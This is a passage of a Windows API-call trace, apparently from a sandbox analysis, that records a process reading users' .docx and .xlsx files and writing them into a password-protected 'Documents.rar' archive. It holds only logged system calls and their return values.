lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14356399911) returned 1 [0068.224] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x11b23, lpOverlapped=0x0) returned 1 [0068.224] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b1b63, nNumberOfBytesToRead=0xee4dd, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b1b63*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.224] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.224] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.224] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c50 [0068.224] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c80 [0068.224] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c80, Size=0x48) returned 0x39db40 [0068.225] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.225] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c80 [0068.225] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c80, Size=0x48) returned 0x39daf0 [0068.225] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.225] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.225] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c80 [0068.225] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63cb0 [0068.225] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63cb0 | out: hHeap=0x2e0000) returned 1 [0068.225] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63c80 | out: hHeap=0x2e0000) returned 1 [0068.225] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c50, Size=0x48) returned 0x39db40 [0068.225] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.225] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.225] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.227] GetTickCount () returned 0xa6758f [0068.227] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14356723355) returned 1 [0068.227] GetTickCount () returned 0xa6758f [0068.227] GetTickCount () returned 0xa6758f [0068.227] GetTickCount () returned 0xa6758f [0068.227] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.227] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.227] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.227] ResetEvent (hEvent=0x1a4) returned 1 [0068.227] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.228] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.228] ResetEvent (hEvent=0x1a4) returned 1 [0068.228] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.231] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.231] ResetEvent (hEvent=0x1a4) returned 1 [0068.231] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.233] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.233] GetTickCount () returned 0xa6758f [0068.233] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14357314587) returned 1 [0068.233] GetTickCount () returned 0xa6758f [0068.233] GetTickCount () returned 0xa6758f [0068.233] GetTickCount () returned 0xa6758f [0068.233] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.233] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.233] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.233] ResetEvent (hEvent=0x190) returned 1 [0068.233] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.234] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.234] ResetEvent (hEvent=0x190) returned 1 [0068.234] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.234] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.235] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 1 [0068.235] GetMessageW (in: lpMsg=0x1cd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd4e0) returned 1 [0068.235] GetFocus () returned 0x0 [0068.235] TranslateMessage (lpMsg=0x1cd4e0) returned 0 [0068.235] DispatchMessageW (lpMsg=0x1cd4e0) returned 0x0 [0068.235] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.235] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x18db6b [0068.235] SetFilePointer (in: hFile=0x198, lDistanceToMove=102, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x18dbd1 [0068.235] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.235] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.235] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.235] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.235] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x11bd0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x11bd0, lpOverlapped=0x0) returned 1 [0068.236] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.236] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.236] SetFilePointer (in: hFile=0x198, lDistanceToMove=1629035, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x18db6b [0068.236] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x18db6b [0068.236] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c50 [0068.236] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c80 [0068.236] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c80, Size=0x48) returned 0x39daf0 [0068.236] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.236] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c80 [0068.236] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c80, Size=0x48) returned 0x39db40 [0068.236] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.236] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.236] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c80 [0068.236] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63cb0 [0068.236] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63cb0 | out: hHeap=0x2e0000) returned 1 [0068.236] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63c80 | out: hHeap=0x2e0000) returned 1 [0068.236] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c50, Size=0x48) returned 0x39daf0 [0068.236] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.236] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x66, lpOverlapped=0x0) returned 1 [0068.236] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c50 [0068.237] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x66) returned 0x3b64440 [0068.237] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.237] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.237] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x19f7a1 [0068.237] CloseHandle (hObject=0x1b0) returned 1 [0068.237] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.237] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.237] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.237] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.237] FindFirstFileW (in: lpFileName="L4AvX7khKXUu5.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.237] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.237] CreateFileW (lpFileName="L4AvX7khKXUu5.docx" (normalized: "c:\\users\\whuoxysd\\documents\\l4avx7khkxuu5.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.237] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.237] GetTickCount () returned 0xa6759f [0068.237] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.237] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.237] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.237] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.237] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="KZD3FfQJWWhay.docx") returned 18 [0068.237] SetWindowTextW (hWnd=0x10280, lpString="L4AvX7khKXUu5.docx") returned 1 [0068.237] GetTickCount () returned 0xa6759f [0068.237] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.237] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.238] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.238] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.238] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x360)) [0068.238] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.238] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14357835393) returned 1 [0068.238] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x888c, lpOverlapped=0x0) returned 1 [0068.239] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a88cc, nNumberOfBytesToRead=0xf7774, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a88cc*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.239] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.239] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.239] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c80 [0068.239] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63cb0 [0068.239] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63cb0, Size=0x48) returned 0x39db40 [0068.239] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.239] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63cb0 [0068.239] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63cb0, Size=0x48) returned 0x39daf0 [0068.239] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.239] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.239] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63cb0 [0068.239] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ce0 [0068.239] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ce0 | out: hHeap=0x2e0000) returned 1 [0068.239] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63cb0 | out: hHeap=0x2e0000) returned 1 [0068.239] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c80, Size=0x48) returned 0x39db40 [0068.239] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.239] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.239] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.241] GetTickCount () returned 0xa6759f [0068.241] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14358288190) returned 1 [0068.243] GetTickCount () returned 0xa6759f [0068.243] GetTickCount () returned 0xa6759f [0068.243] GetTickCount () returned 0xa6759f [0068.243] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.243] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.243] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.243] ResetEvent (hEvent=0x1a4) returned 1 [0068.243] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.249] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.249] ResetEvent (hEvent=0x1a4) returned 1 [0068.249] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.250] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.250] GetTickCount () returned 0xa675af [0068.250] GetLastError () returned 0x0 [0068.250] SetLastError (dwErrCode=0x0) [0068.250] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.250] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.250] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.250] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.250] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14359069542) returned 1 [0068.250] GetTickCount () returned 0xa675af [0068.250] GetTickCount () returned 0xa675af [0068.250] GetTickCount () returned 0xa675af [0068.250] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0068.250] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0068.250] GetFocus () returned 0x0 [0068.250] TranslateMessage (lpMsg=0x1cd760) returned 0 [0068.250] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0068.250] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.250] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.251] ResetEvent (hEvent=0x190) returned 1 [0068.251] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.251] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.251] ResetEvent (hEvent=0x190) returned 1 [0068.251] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.252] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.252] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.252] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.252] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x19f7a1 [0068.252] SetFilePointer (in: hFile=0x198, lDistanceToMove=102, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x19f807 [0068.252] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.252] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.252] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.252] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.252] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x8900, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x8900, lpOverlapped=0x0) returned 1 [0068.253] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.253] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.253] SetFilePointer (in: hFile=0x198, lDistanceToMove=1701793, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x19f7a1 [0068.253] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x19f7a1 [0068.253] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c80 [0068.253] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63cb0 [0068.253] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63cb0, Size=0x48) returned 0x39daf0 [0068.253] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.253] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63cb0 [0068.253] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63cb0, Size=0x48) returned 0x39db40 [0068.253] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.253] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.253] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63cb0 [0068.253] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ce0 [0068.253] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ce0 | out: hHeap=0x2e0000) returned 1 [0068.253] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63cb0 | out: hHeap=0x2e0000) returned 1 [0068.253] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63c80, Size=0x48) returned 0x39daf0 [0068.253] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.253] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x66, lpOverlapped=0x0) returned 1 [0068.253] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63c80 [0068.253] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x66) returned 0x3b644b0 [0068.253] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.253] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.253] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1a8107 [0068.253] CloseHandle (hObject=0x1b0) returned 1 [0068.253] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.253] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.253] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.253] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.253] FindFirstFileW (in: lpFileName="LUsVMCA2kX5.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.253] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.253] CreateFileW (lpFileName="LUsVMCA2kX5.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\lusvmca2kx5.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.253] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.254] GetTickCount () returned 0xa675af [0068.254] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.254] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.254] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.254] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.254] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="L4AvX7khKXUu5.docx") returned 18 [0068.254] SetWindowTextW (hWnd=0x10280, lpString="LUsVMCA2kX5.xlsx") returned 1 [0068.254] GetTickCount () returned 0xa675af [0068.254] UpdateWindow (hWnd=0x10278) returned 1 [0068.254] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.254] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: 